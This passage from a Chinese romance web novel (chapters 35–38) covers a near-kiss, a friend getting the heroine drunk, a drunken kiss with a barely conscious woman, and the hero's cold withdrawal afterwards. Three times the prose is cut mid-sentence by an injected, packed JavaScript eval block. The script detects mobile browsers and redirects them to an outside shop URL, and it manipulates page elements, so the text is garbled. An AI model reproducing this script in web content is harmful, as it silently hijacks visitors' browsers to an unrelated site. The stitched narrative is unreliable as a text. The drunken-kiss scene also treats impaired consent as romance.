黎向浠见了,立刻咧开嘴角,将车钥匙塞进他手里,小手盖住他大手,一根一根帮他握拳。 “我看见你表情松动了,每次这样你都会答应的,拿好拿好。” 异性的体温灼着裴非的脑子,他突然不知道要怎么应付了,只是垂头,看着她的手,修长的手指不自觉地反攻,将她指尖抓在掌心,紧紧护着。 微风吹过,黎向浠的鼻尖传来淡淡的沉木香,她看着那张匿在黑夜里也盖不住英隽的脸,呼吸声慢慢变大。 黎向浠顺着裴非的眼神往下看。 她的手稳稳落在他掌心,被他牵着,看不出是想要车钥匙,还是想要她。 这是越界的,但黎向浠并不觉得排斥,也没有要抽离的概念,只觉得裴非的掌心很温暖。她的手呆在那,像是冬日清晨躲在被子里赖床那样,有一种不知名的窃喜。 黎向浠抬眼,不知何时,裴非的眸光落到她脸上了,轻轻的,柔柔的,仿佛一团洁白的云围住她,幽深的瞳孔却像是飓风,致命吸引着黎向浠。 她的眼神又一次落在了那张形状清晰的唇瓣上,它微微张着,又轻轻抿着,似乎很干涸。 须臾,它慢慢朝她靠近,带着男人高大的身形,朝她试探落下来。 身后是嘈杂的街道,黎向浠的听觉似乎有了筛选的功能,只听到两种沸腾的心跳声,在慢慢靠近,连带来的,是她唇尖越来越热的气体。 - 35. 打探他 夜里一点,阳台悬挂的鸭舌帽随风轻轻晃动,房间桌上的红玫瑰安静插在瓶子里,床上的黎向浠趴着,双手撑在脸蛋红扑扑的下颌处。 停车场那一下,黎向浠察觉到自己的心跳超出了预期,是不可控的,如同已经席卷的台风,停不下来。 裴非靠近的时候,她也在偷偷垫脚,拉近距离的一分钟里,她和她的身体从未想过逃离。 晚风吹,晚餐的油盐味、商场的香水味、怀里的花香,全都不见了,只剩裴非身上浑厚的沉木香。 她仿佛是置身一片刚下过雨的森林,被清爽自然又厚重的芬芳包裹着,迷失在薄薄的白雾中。 怎么形容。 上瘾了一样,没有自制力。 或者是打了麻药,完全不知道自己在做什么。 如果没有那声车笛,或许她跟裴非会一错再错下去。 但好在,他们没有实质性发生什么,就被理智拉回来了。 裴非迅速将他的鸭舌帽扣在她脑袋上,盖住她视线,在她看不到的时间里,拿过她手里的车钥匙,侧身而过。 也让她免去了尴尬。 不知道是懊悔还是羞愧,或者是对自己心底所想的不理解,回来的路上,车厢内的氛围诡异得可怕。 黎向浠把帽子压得很低,盖住整张脸,她透过底下一小片光亮,看着怀里大簇的玫瑰,一时不知道是要抱紧,还是要放下。 她不得不承认,跟裴非在一起,她总是隔三差五觉得开心。 翌日上午,一夜没睡好,黎向浠顶着大大的黑眼圈,下楼。 这是她第一次睡到上午十点才出房间门。 空荡荡的客厅,安安静静的家具,金如丝绸的阳光,排成排的早餐,淡淡的老家具气味。 没有裴非的影子。 应当是去基地了。 黎向浠也说不出是庆幸还是不庆幸,她不知道该怎么面对裴非,也不知道裴非心里到底在想什么。 反正就是一团乱麻。 吃完早餐,黎向浠拿过桌上的车钥匙,去打第三针狂犬疫苗。 刚出到门口,布加迪回来了,停在梧桐树的林荫底下,黎向浠怔住。 打不打招呼?怎么说? 她站在原地,紧张得掌心冒汗,她觉得车钥匙都快被她揉到脱漆了。 裴非从车上下来,站在原地看向她,四目相对,黎向浠欲言又止。 “去打针?”裴非率先开口,语气并不受昨晚的影响。 他的帽子挡住了阳光,加上树荫,黎向浠看不见他太多表情,只能大抵看个生冷的轮廓和白皙的皮肤,在黑漆漆的车子边,像是会发光。 “啊,对!你……基地回来了?”黎向浠支支吾吾。 裴非微微点头,“去把车开过来。” “啊?” “我再带你最后一段。” “噢。” 黎向浠迅速扭头走往车库。 车库也是一座宽敞的平方,没有太阳照耀,气温冷冰冰,黎向浠搓着手臂走进去,还是打了个寒颤。 她坐在驾驶座,准备开出去之前,深呼吸做着心里建设。 既然裴非都不觉得有什么,那她也不要耿耿于怀,又没有碰到,况且他们在第一面的时候就那样了,所以在昨晚太多巧合的情况下,擦枪走火也是正常的。 年轻人嘛。 黎向浠长舒一口气,活动活动面部表情,挤出往常熟悉的笑容,把法拉利开出去。 - 许子炀在一间台球室跟几个朋友打发时间,杨余瑞电话进来,他走到窗边。 “我觉得我能上比赛。”杨余瑞开门见山。 许子炀吸了一口烟,“去你的,脖子都没能转,凑什么热闹。” “我说真的,反正还有一段时间……” 之后杨余瑞在哔哔赖赖什么,许子炀一句没听进去,因为他看见,对面的疾控中心门口,一辆红色法拉利,连号,裴非的车牌,驾驶座下来的却是黎向浠。 “我擦……”许子炀忍不住惊叹。 他还是头一次见有女人可以开裴非的车,上他的副驾驶都难,这关系…… 对面杨余瑞还以为他惊叹刚刚提的计划,“你也觉得我很牛逼是不是!” “我靠!!!”许子炀眼珠子都快掉下来了。 裴非……从副驾驶……下来的? 这是什么情况? 杨余瑞:“你也不用这么夸我,我……” 许子炀:“滚蛋,老实呆着。” 许子炀挂断电话,趴在落地窗上跟做贼一样,拨打裴非电话。 他看见裴非和黎向浠并肩走进去,因为电话,裴非和黎向浠说了什么,黎向浠进去了,他走到旁边接听。 转过来的时候,许子炀揉了揉眼睛。 他可从没见过这样的裴非,眼底带着笑意,步子轻松,主要是,裴非接电话什么时候跟人汇报过?! 只是下一秒,看到是他的备注,裴非的脸又阴下去。 许子炀:…… “说。”裴非语气冷淡。 果然。 许子炀试探问:“在哪呢?基地没看见你啊。” 裴非:“家。” “我擦……”许子炀没忍住。 哥们儿撒谎。 许子炀在思考要不要拆穿裴非的时候,后方的朋友开口了,“许子炀你不玩儿了吗?” 伴随着台球撞击的声音。 裴非很敏锐,这一点许子炀从不意外,于是他确实跟个贼一样躲到窗帘后面,朝朋友使眼色,让他们闭嘴。 裴非抬眸,看到晃动的窗帘,大概猜得到什么,也只是淡淡问一句:“有事?” “没,见你今天没来基地,好奇,算了,你在家就在家吧,给你批假。” 电话结束,黎向浠也打完针了,她按着棉签,拿着外套还有注射卡片,走到门口。 裴非走过去帮她接住,放到车上,最后看一眼对面的台球室二楼,上车离开。 回去的车厢内依旧安静,裴非坐在副驾驶,车窗打开,他单手撑在车窗上,看向往外,不知道在思索什么。 风灌进来,吹得呜呜作响,这才有了动静。 “下次你得自己开了。”裴非说。 “好。”黎向浠把着方向盘回。 确实,已经麻烦裴非那么久了,总不能天天打扰他。 但黎向浠心底还是觉得有点沉,裴非似乎不太搭理她了。 是不是他也觉得他们的关系不太对,想要避嫌了? 挺好的,如果再这样下去,确实不太多。 黎向浠抿了抿唇线。 刚好到老宅,停好车,黎向浠收到了许子炀的微信消息:【浠浠宝贝,忙?】 黎向浠坐在车上回:【不忙,怎么了?】 许子炀:【上次说请我吃饭,什么时候?我等不及了。】 黎向浠这才想起来,上次第二针的时候,许子炀载她过去,她确实有说过要请客答谢。 过了这么久,居然给忘了,还被他给提醒,心生内疚。 【都行,明晚?】 许子炀:【爽快!明晚我订位置可以吗?吃点我爱吃的。】 黎向浠:【好。】 裴非已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020131|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开车门了,见她没有动,而且还在看手机,就侧头听了一下。 黎向浠关上手机才发现的,不过许子炀是他朋友,那请客的话,要不要带裴非过去? 她欲言又止,但裴非看见她不玩手机了之后就下车了。 黎向浠想了想,还是算了,昨晚那样尴尬,今天他们都没有说两句话,要是跟他一起去,被他朋友打趣,那不就更尴尬了。 索性,黎向浠什么都没说。 见面的时间是在第二天的晚上七点,黎向浠出门的时候,裴非还没有从基地回来。 许子炀让她开车到之前偶遇的公交站。 下班高峰期,车子跟毛毛虫一样往前挪动,每一个红绿灯,黎向浠都准确无误被拦截下来。 抵达的时候都快临近七点半了。 “抱歉抱歉!我还不太习惯开高峰期的时候,所以慢了很多。”黎向浠走下车,跟许子炀交接。 出来的时候黎向浠说自己不熟练,许子炀让她练练胆子,大不了到了之后他开,黎向浠就乖乖开出来了。 许子炀一上车就开始打量车子的情况,看看中控台,又看看抽屉什么的。 “你这车不错啊,有眼光。”许子炀试着手感夸赞。 “是挺不错的。”黎向浠点点头。 裴非选的,肯定不错。 许子炀踩下油门,也没说去哪里,嘴上还问她,“你这车什么时候买的?” “啊?我……二手的哈哈哈哈,刚买不久。”黎向浠撒谎。 说一手的话,许子炀懂车,是不是全新他一眼认得出,而且她也给不出时间,只能说二手糊弄过去。 “不错,二手能买到这辆车,值了。”许子炀看着前面的路段,没再继续。 黎向浠松了一口气。 其实她就跟许子炀单独见过两次面,微信也聊了不过几句,黎向浠却发现,许子炀洞察力很强,而且每句话都有很强的目的性,让她没办法分辨他是好是坏,要做什么。 什么感觉呢? 大智若愚,乍一看似乎很好相处很笨,但心思缜密,说话一句一个坑,不过裴非说许子炀是Y12的老板,商人没点心思,应该也赚不到钱。 黎向浠没当回事。 车子经过好几条大道,开了近一个小时才抵达吃饭的地方。 说是吃饭,其实就是清吧。 但这个是主题清吧,今晚的音乐都是摇滚,声音很大,黎向浠一进去,感觉耳膜都快炸开了。 “除了我们,还有别人吗?”黎向浠跟在许子炀身后喊。 奈何音浪太过强烈,许子炀没听清,停下脚步等她走到旁边才低头“啊?”了一句。 黎向浠捂着耳朵喊:“还有谁要来吗?” “没有了。”许子炀一手插兜,一手虚护在她侧边。 中间有人跟着音乐跳舞,他害怕撞到黎向浠,到时候没办法跟裴非交差。 许子炀带黎向浠上了二楼,一个U形的黑色真皮沙发,只有他们两个,还有正在上菜的服务员。 倒是没有一楼那么嘈杂,但声音也足够喧嚣。 桌子上已经摆满了各种小吃和酒,许子炀给她递着筷子,“先吃点东西,垫吧垫吧。” “谢谢。”黎向浠接过,不太知道他说的垫吧是什么意思。 “你真的不会喝酒啊?”许子炀歪头看着她,心底打着鬼主意。 黎向浠摇头。 许子炀一脸那就好办了的意思。 他打开一瓶啤酒,放到她手边,“没关系,从温和的来,今晚我们不醉不归!” 黎向浠:? - 36. 吻住他 酒吧的音浪一层层覆盖,此起彼伏的欢呼和碰杯声,声声巨响,震得黎向浠脑袋发懵。 更懵的还有许子炀的问题。 许子炀先跟她玩游戏,教她摇骰子,谁猜错了,谁喝。 果不其然,黎向浠喝三杯,许子炀才喝一杯。 后来黎向浠才知道,两个人要什么骰子,那是许子炀坑她呢。 黎向浠酒量不佳,没多久,视线开始天昏地暗,坐不住,身子东倒西歪。 她听到许子炀喊她的声音,迷迷糊糊间还听到他的问题:“浠浠宝贝,你跟裴非是什么关系啊?你俩是不是有点什么?” 黎向浠撑着最后一丝理智,摆手又摇头,她也感谢此刻开不了口,酒精已经堵到嗓子眼,一张嘴怕是要全吐出来。 没一会儿她就歇菜了。 看着趴在桌子上的女生,许子炀叹了一口气,他伸手点了点她脸颊,差点以为她在演戏。 才晚上十点,两瓶啤酒,怎么就不省人事了呢? 许子炀掏出烟,咬在嘴上看向一楼,听见女生哼哼唧唧的声音。 回头的时候,黎向浠握着黑屏的手机,一动不动。 “喝傻了,抱着个手机就以为来电话。”许子炀当下是这么想的。 他怕黎向浠感冒,还贴心叫服务员拿来一张毯子,毕竟他也不知道黎向浠住哪,这会儿要是把裴非喊来,他估计够呛能活到明天。 光从裴非借车给黎向浠就看出来,至少裴非对黎向浠爱护有加。 他打算从黎向浠这儿打探裴非退役的消息,还不小心把她灌得烂醉,听上去不太像个好人。 许子炀靠在沙发上,架着二郎腿,手机一横开始玩游戏,打算过几个小时把黎向浠喊醒,那会儿酒劲儿散了,问个地址送她回家。 一盘游戏结束,defeat。 许子炀啧了一声,抬眼。 “我靠!”他吓得手机一扔,赶紧往沙发里面挪了挪。 裴非大步流星从楼梯处走来,冷漠的脸藏在帽檐阴影下,散着一股愤怒,看得许子炀直起鸡皮疙瘩。 合着刚刚她是真在打电话啊? 许子炀看了一眼时间,半个小时。 老宅到这里才花了半个小时?闪现来的? 裴非并不搭理许子炀错愕又惊恐的眼神,他站在黎向浠身旁,闻到一股浓重的酒精味,眉头立刻拧起,轻轻晃了晃她肩膀。 黎向浠原本脑袋盖在手腕上,这一下,往旁边偏,露出红扑扑的小脸蛋。 酒吧的光线很暗,但裴非还是看见了她额头的压痕,深深浅浅,碎发被汗水打湿,黏糊糊沾在额头上,她小嘴抿成一团,眉头紧促,身子一下一下抽着,似乎是想要吐,但吐不出来,难受得五官变形。 裴非想到了第一次见面的时候,她坐在他旁边,才抿了一口,小脸就皱巴巴不成样子,根本就不会喝酒。 他看向许子炀,罪魁祸首此刻似乎也很惊慌,探着身子看过来。 裴非伸手,拽住许子炀领口将他拉过来,手很用力,青筋快要爆开了,那双眼睛透着呵斥的薄凉。 许子炀吓得怔住,没想到裴非为了一个女的真要对他动手,他一动不动呆呆说:“我发誓,她真的就喝了一点啤酒!我不知道她酒量这么差!要知道我也不会灌她了。” 想来许子炀也不是故意的,认识这么多年,到也不至于质疑他的人品。 裴非沉了一口气,用力将许子炀推到沙发上。 转身用毯子包裹住黎向浠,将她拦腰抱起,直接下了楼。 一句话没留。 许子炀第一想法:完蛋了,他辛辛苦苦带回来的军师没了。 - 一场秋雨一场寒,裴非在出门的时候其实下雨了,只是他太着急,没有留意,这会儿出到酒吧门口,脸上挂了蒙蒙雨丝才反应过来。 黎向浠喝多了,悬空感加剧了她的不安,尽管还在梦里,她的小手不自觉攥紧了裴非的领口。 从她喝下第一口的时候,就想要拒绝了,但这人是裴非的朋友,扰了他的兴致,好像不给裴非面子,她也就硬着头皮喝。 裴非将黎向浠放到副驾驶,帮她系好安全带,那只小手依旧紧紧攥着他,像是在海上抓住了一线生机的浮木,用力到骨节泛白。 “好了,松开吧。”他轻轻拍着她手背。 等了一会儿没有反应,他干脆用手盖在她手上。 小手很凉,他像是捂着一块刚从冰箱拿出来的冰。 裴非拧了拧眉头,“是不是不舒服?” 副驾驶的人神志不清地点头。 “回家就好了。”他另一只手盖在她额头,轻轻拍着,像是哄小孩。 其实黎向浠才21岁,比他小三岁,个子也不高,偶尔来说,也可以算是小孩。 车子开在返回老宅的路上,车厢里是女生呜咽的动静,还有厚重的酒精味道。 一过弯路,黎向浠的动静就加大,像是小猫,脑袋蹭在靠背上。 裴非没办法,只能压弯的时候轻飘飘,直线才猛踩油门。 这种时候只能快些回去,想个办法让她吐出来才行,她压根就睡不踏实。 而且,如果她没吐出来,整个晚上得有人守着,万一吐了没人照顾,堵了呼吸道就麻烦了。 手机在烦人地响着,一看就是许子炀打来的,裴非眸光更不耐烦,干脆直接关机。 回到老宅,裴非将黎向浠抱到沙发上,去厨房给她弄来温水,又将她抱在怀里,喂她喝下去。 黎向浠的嘴巴很小,粉粉嫩嫩,软乎乎的,接触到杯子的时候,像是什么小吸盘,一下一下嘬,像是渴了好久的小鱼。 她满头大汗,但裴非不敢把毯子拿开,怕她突然着凉,第二天醒了感冒。 喝下大半温水,黎向浠难受加剧,像是做了噩梦一样,猛地呼吸着,裴非拍着她脑袋,试图安抚她。 没一会儿,黎向浠胸口反应加大,冲出客厅,跌跌撞撞飞向洗手间。 裴非跟过去,只见她跪在地板上,瘦小的后背一抽一抽的。 他蹲到旁边,看到她脸上全是痛苦,往日闪烁的大眼眯着,头发散了,碎发一缕一缕,可怜巴巴。 裴非心脏抽了一下。 其实,谁没吐过?他以前跟许子炀去酒吧,看过不少女人喝吐了场面,他并不觉得有什么,但现在,他觉得好疼啊,比他自己吐了还难受。 他绷着脸给黎向浠拍了后背,帮她将落到面前的碎发勾到耳后。 黎向浠哼哼唧唧了好半天,终于吐出来了,像是总算渡劫成功,五官终于松散开来。 裴非也长舒一口气。 “好了,没事了。”他小声说。 帮黎向浠漱了口,裴非将她抱回她房间。 黎向浠的房间很干净,很简单,桌子上除了寥寥无几的化妆品护肤品,还有那晚带回来的玫瑰,就没有多余的杂物了。 裴非以为,她这样的小女生,应该很多玩偶,挂件,或者摆件,以及,会喜欢很多香香的东西。 但不是,比他那边还要简洁,除了必需品,什么都没有,空气也是最原本的沉木的香味。 他好歹有蝴蝶刀,还有一张被割得破破烂烂的全家福。 她比他想象中的要简单很多。 这样的窥探,就像是知道她会录制有声书那样,裴非鼻腔忍不住哼了哼,将黎向浠放到床上。 其实,吐完之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027379|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,黎向浠有了模模糊糊的意识。 她能感受到自己躺在宽厚的怀里,还很温暖,很踏实,她从未有过的感觉。 所以当她察觉到自己落了地,要从那个怀抱里抽离,她的本能是抗拒的,于是她伸手,圈住了对方的脖子,强行将自己的脑袋,凑到他胸口。 裴非俯在床上,双手撑在她身体两侧,像是俯卧撑那样,只是怀里挂了一个人,他愣住,不敢动。 黎向浠后背还有几厘米就落到床上了,但她偏不躺下去,她甚至开始转动脑袋,在他的脖颈蹭着。 像一只小猫。 柔软顺滑的头发蹭在喉结上,痒痒的,裴非抓在床单的手收缩了一番。 “黎向浠。”裴非在她耳边,声音沙哑喊她。 黎向浠并没有回答,她只是开始呜咽。 “黎向浠。”裴非语气带着一丝扼制,想让她松开。 但她整个人粘着他,哪里都是。 裴非觉得自己也不算圣人,是个正常24岁的男人,七情六欲都会有,只是平时装得无所谓罢了。 但现在,夜深人静,秋雨绵绵,空气有淡淡的寒意,淡淡的酒精味,淡淡的玫瑰花香,怀里的人睡意正浓…… “黎向……呃……” 第三声后面,紧跟着他克制不住的低吟。 有小猫的舌头,黏糊糊落在他喉结上,温温润润的,像是在品尝一颗棒棒糖那样,嘴唇也很柔软,裹得很紧。 体内不知名的东西炸开,流向裴非全身经脉,他呼吸开始不可收拾地绵延起来,在寂静的房间,显得很下流。 “那不是糖果,黎向浠,松口。”他抽出一只手,想要拽走她的手腕。 这样,他就只剩一只手承着两个人的重量,又是俯身的姿势。 咚地一声,裴非身体下坠,为了不压到黎向浠,他又松开,手腕撑在床板上。 这一下动静很大,吓到了怀里的黎向浠,她总算从他喉结上抽离,却开始哼哼唧唧,委屈地哭起来。 一边哭,一边往裴非怀里爬。 没办法,裴非干脆放弃撑着,直接把重力压在她身上,腾出手去拍她脑袋安抚她。 “对不起,吓到你了。” 黎向浠用他的胸口擦眼泪,手臂在他后脖颈收缩,将他紧紧圈在怀里,小嘴在寻找什么。 裴非惊慌,想要阻拦,低下头的时候,却稳稳当当接住了那柔软的唇瓣。 黎向浠依旧有轻微的意识,她以为是在梦里,其实她做过不少这种让人上头脸红的梦,一开始,她觉得自己会做这种梦,不像个传统意义上乖巧的女孩子,后来发现,这是人生自然规律,这是长大的象征,没什么,于是她开始接受并享受起来。 比如此刻,她模糊的意识里,裴非是在梦里的,他的嘴唇、喉结和胸口她都可以肆意拥有。 所以她做了清醒时候完全不敢的举动。 然后她听到梦里的裴非,声音哑哑地问她:“我是谁?” 带着难捱的情愫,带着撕开面纱前一秒的隐忍期待。 黎向浠说:“你是裴非。” 裴非又问:“裴非是谁。” 黎向浠说:“是一个很好的朋友。” 裴非笑了,自嘲又无奈说:“只是好朋友吗?好朋友可以这样吗?” 黎向浠说:“只能是好朋友,不可以这样,但这是在梦里,梦里可以,醒了之后不行。” 黎向浠始终记得自己的身份,尽管梦里的她也在心跳加速,脸颊泛红,但她还是记得彼此的身份。 裴非停顿了一个世纪那么久,才带着考量许久的声音说:“好。” 于是,她就完全拥有了享用的权利…… - 37. 他闪躲 凌晨五点,紧闭的红木门内,空荡的房间里,未开灯,月色很淡地从窗户透进来,在桌子前留下斑驳的影子。 房间里,男人的呼吸声克制,但起伏热烈,最后猛地呼出一口气,那紧绷的肩膀沉下去。 他靠在椅子上,抽出纸巾擦拭,又揉成团扔进垃圾桶,摸黑走进浴室。 浴室是黄色的暖光,冒白气的热水从花洒内自上而下坠落,打湿男人的头发,脸颊,留下一颗暗红色印记的脖子。 衣服裤子没有脱,他双手撑在墙上,冷峻的脸上是隐忍克制,还有懊恼。 他是半个小时前从黎向浠房间出来的,他哄了她一个晚上,差点出事,临近崩溃的边缘才仓皇逃脱。 到现在,他的口腔还存有她糯而柔软的气息。 头发被水打湿,挂在额头,裴非伸手往后拨,衣服粘在腹肌上,有清晰的肌肉纹路。 他觉得自己疯了,容忍黎向浠到这般地步。 黎向浠马上会跟沈推凡结婚的。 显然,黎向浠就算喝醉了也还记得这件事,她一边吻他,一边告诉他,他们只能是很好的朋友,就像他们都喜欢小碳那样。 裴非咬紧后槽牙,加大了水量。 洗漱好,天还是黑的,裴非坐上布加迪,离开老宅。 许子炀抵达基地的时候,是早上八点,他道歉去的,打电话的时候,裴非永远是关机,他不敢去老宅找裴非,那个地方,裴非不太允许外人打扰。 一路进去,碰见他的工作人员纷纷驻足,先是怀疑了一下自己,才开口问候:“许老板早。” 毕竟从没见过许子炀这个点来公司的。 许子炀只是挥手,转遍了基地,最后在休息室看见了裴非。 他枕着胳膊躺在床上,帽子盖在脸上,黑色夹克,黑色靴子,衬得皮肤白得吓人。 许子炀轻手轻脚走过去,看见了裴非脖子上的创可贴,他愣了愣,一想到昨晚,大概也知道发生了什么。 “那个……挺激烈哈哈哈哈……”说完许子炀就想死了。 这是嫌自己命长啊…… “说。”裴非没有啰嗦,也没有理会他的打趣。 许子炀还发现,裴非没有否认。 所以他觉得,昨晚,裴非跟黎向浠…… “昨晚我真不是故意灌她的,你要是早点跟我说,就没有这件事了。” “跟她道歉去,和我没关系。” “啊?” 许子炀懵了,不是激烈吗?怎么突然又没关系了?这草莓正鲜红呢,裴非也提起裤子不认人? “你……你们吵架了?还是……不和谐啊?她不满足……” “许子炀。”裴非冷冷喊他。 全名的魅力,许子炀背后冒汗。 “啊?” “我跟她没有关系,也不是你想的那样,不需要从她身上套信息。” “噢……” 许子炀不太相信地点头,但已经不敢碰黎向浠了,真怕裴非生气。 “不过,我觉得你对她……挺有意思的,你干嘛不……” “没有,出去。” 许子炀:…… 昨晚急成那样,狗都看得出谁心乱了。 但许子炀没拆穿,只是扔了一句“行吧,我又不瞎,别到时候她跟别人跑了,自己躲起来哭。”就离开了休息室。 帽檐低下,薄长的眼睛掀开,带着浓烈的克制。 黎向浠是注定要跟别人跑的,在萌芽阶段掐断,才是最明智的。 - 黎向浠醒来已经是下午三点,天空灰蒙蒙,雨要下不下的,看得人压抑。 她伸了伸懒腰,脑子像是要炸开一样疼,因为吐了,喉咙也疼,胃里空空的,又没什么食欲。 她起床,发现除了鞋子以外,衣服都很规整,手腕有一圈红印,像是被勒得太紧留下的,不疼,快散了。 房间也没有什么变化,她的包和手机都在床头柜上了。 黎向浠爬起来,洗漱好走下楼,没有看见裴非的身影,但桌子上有准备好的青粥。 已经凉了,她放进微波炉,站在旁边等待,顺便给裴非发了微信:【昨晚是你把我接回来的吗?谢谢你!】 黎向浠完全不记得昨晚发生了什么,她只记得自己迷迷糊糊间接了一个电话,电话对面的裴非声音又急又沉,问她在哪里,她支支吾吾说喝酒,然后记忆就断片了。 微波炉叮一声,裴非还没有回信息。 不应该啊,以前裴非很快就回她的消息了。 应当是没看见。 黎向浠关上手机,拿了青粥走向餐桌。 吃完一餐不知道是早餐还是午餐或者是下午茶的饭,黎向浠手机震动一下,以为是裴非,她扬起嘴角点开,发现是上次的管家。 【黎小姐,约了美容项目,您明天随便一个时间过去,会有人招待您。】 美容,沈推凡不就是觉得她形象够不上名媛吗。 从上次的衣服她就看出来了,沈推凡希望她淑女一些,各种小香风,晚礼裙,细高跟。 【好。】 黎向浠还是认命地回复。 她得配合,黎蔓还没有醒。 黎蔓从不会不回她消息的。 她给黎蔓发了那么多消息,一条回复都没有,肯定就是没有醒。 想到这儿黎向浠才发现,她有一段时间没有沉浸在思念黎蔓的情绪里了,好像是因为裴非,从她觉得自己对裴非另有所图开始。 挺好的,注意力转移,反正裴非不可能喜欢她。 黎向浠喝完粥,在院子里逛了逛,开始准备晚餐。 为了答谢裴非带她回来的救命之恩,黎向浠学着他上次的操作,煎了牛排。 平时裴非都会在晚上八点左右回来,这次,黎向浠煎好牛排已经八点半了,还是没有裴非的身影。 黎向浠给裴非打电话,语音提示已关机。 可能是车队太忙,黎向浠这样解释。 她坐在餐桌前,用手机玩小游戏等他。 宽敞的客厅,白色的灯光落在暗色的家具上,一黑一白,和谐不少。 女生沉浸在游戏里,消消乐此起彼伏的夸赞声,盖过了牛排变凉的动静。 时间点点滴滴过去,黎向浠的肚子从咕噜咕噜叫变得察觉不到饥饿,窗外的月色渐渐浓厚,小动物似乎吃饱了,叫声越来越大。 布加迪的声音终于响起来了。 黎向浠立刻关掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037456|146076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机,起身。 裴非一身黑,带着鸭舌帽进来,直径往楼梯处走。 “裴非!”黎向浠喊住他,“你吃了吗?都快十一点了,今晚车队很忙吧?” 裴非回头,这才看见了桌上两份卖相一般的牛排,估计是火候没有掌控好,女生跟前那份,有淡淡的糊。 意面坨了,结成块躺在牛排旁边,番茄酱也挤得乱七八糟。 “这个凉了,我再给你热一热。”黎向浠有些不好意思。 她转身的时候看见裴非的脖子,又转回来,指着创可贴问:“你怎么了?受伤了?” 裴非拧眉,这才意识到,黎向浠什么都不记得了。 他心底气笑了。 其实也无可厚非,等她结婚离开,也会像现在这样,什么都不记得了。 “我吃过了。”裴非冷冷说,“以后不用等我吃饭,我不在家吃。” 他往楼梯走去,走到一半又停下来,“早餐也是,以后你自己解决。” “为什么啊?”黎向浠走上一个台阶,不知道他为什么突然冷淡下去。 裴非没有回答,进了房间关上门,就像没有出现过一样。 没了游戏的声效,客厅寂静无声,黎向浠额头开始冒冷汗,视线慢慢混浊。 昨晚吐干净了,今天就一小碗青粥,晚餐太久没吃,低血糖犯了。 她双手往前伸,摸索走到餐桌坐下,机械得往嘴里塞硬邦邦的意面。 第一想法是:幸好裴非不吃,又冷又硬,没有入味,肉酱和番茄酱混在一起,难吃死了。 还有牛排,咬下去一口糊味儿,回苦,煎老了,嚼不烂。 黎向浠什么也没说,就直愣愣吃完,洗漱回房间。 【你怎么了?不开心吗?】她给裴非发消息。 像是石沉大海,毫无回音。 又像原来那样不理她了。 黎向浠抬眼,看见了阳台那顶黑色的帽子。 之前下雨的时候,裴非让给她的。 有理由和他聊天了。 黎向浠喜笑颜开。 她拿下帽子,发现已经是夜里一点了,索性放在床头柜,等早上再给他。 第二天清晨,黎向浠比平时早起了一个小时,她站在门后面,耳朵贴着门。 半个小时后,对面传来门打开的动静,还有脚步声,黎向浠扬起嘴角,打开门冲出去。 “裴非早上好!”她声音轻快。 裴非并不是准备去晨跑,而是穿了平时出门的衣服,黑夹克,皮靴,帽子压得很低,走得很快,听到她的动静也没有任何反应。 黎向浠紧忙追上去,哒哒的脚步声快速又急促。 “裴非你等等我,你的帽子!你上次给我的,呐!我洗好晒干了!” 黎向浠伸手拉住裴非胳膊,裴非停下脚步,甩开她,接过帽子,依旧不看她。 腾空的手有些尴尬,黎向浠十指直愣愣交叉着,“你为什么又生气了?” “沈推凡什么时候把你接走?”裴非语气有些不耐烦。 “不知道。”黎向浠小声回。 她真不知道。 “你让他快点。”裴非将帽子扔进垃圾桶,转身离开。 - 38. 他心疼 黎向浠不知道自己哪里惹了裴非,她将帽子捡回来,擦干净,放在桌子上。 又去厨房拿了火腿。 裴非不在别墅区晨跑,说明他没有喂小碳,她得去喂,不然它要饿肚子了。 果然,小碳饿得嗷嗷叫,吃完了整整一根。 黎向浠发现它胖了一些,毛发也浓密不少,拎起来沉甸甸的,跑起来也笨重不少。 “让你两边都吃!”黎向浠笑着打趣。 裴非没有带早餐回来了,黎向浠整理好,开车出门,随便找了一家包子铺。 在别墅区外面的一条荒旧街道。 秋风吹,路上的灰尘和树叶扬起,很是破败,店铺的牌子都脱漆了。 她仔细看才发现,是裴非一直买的那家。 经营早餐店的是一对年迈的老夫妻,头发花白,问了才知道,他们在这儿好几十年了,这附近的人基本都吃他们的包子,经常有小孩哭过,哭闹着要买的。 生意很好,店里坐满了人。 黎向浠买了一个包子和一杯豆浆,靠在法拉利旁边吃起来。 风很锋利,吹进她脖子凉飕飕的,她的头发被风吹得凌乱,包子又很烫,只能一边吃一边吹起一边捋头发,还缩着脖子,看上去有些狼狈。 行人似乎没见过开法拉利这么狼狈的,时不时投来怀疑的目光,怀疑这辆车是不是她的。 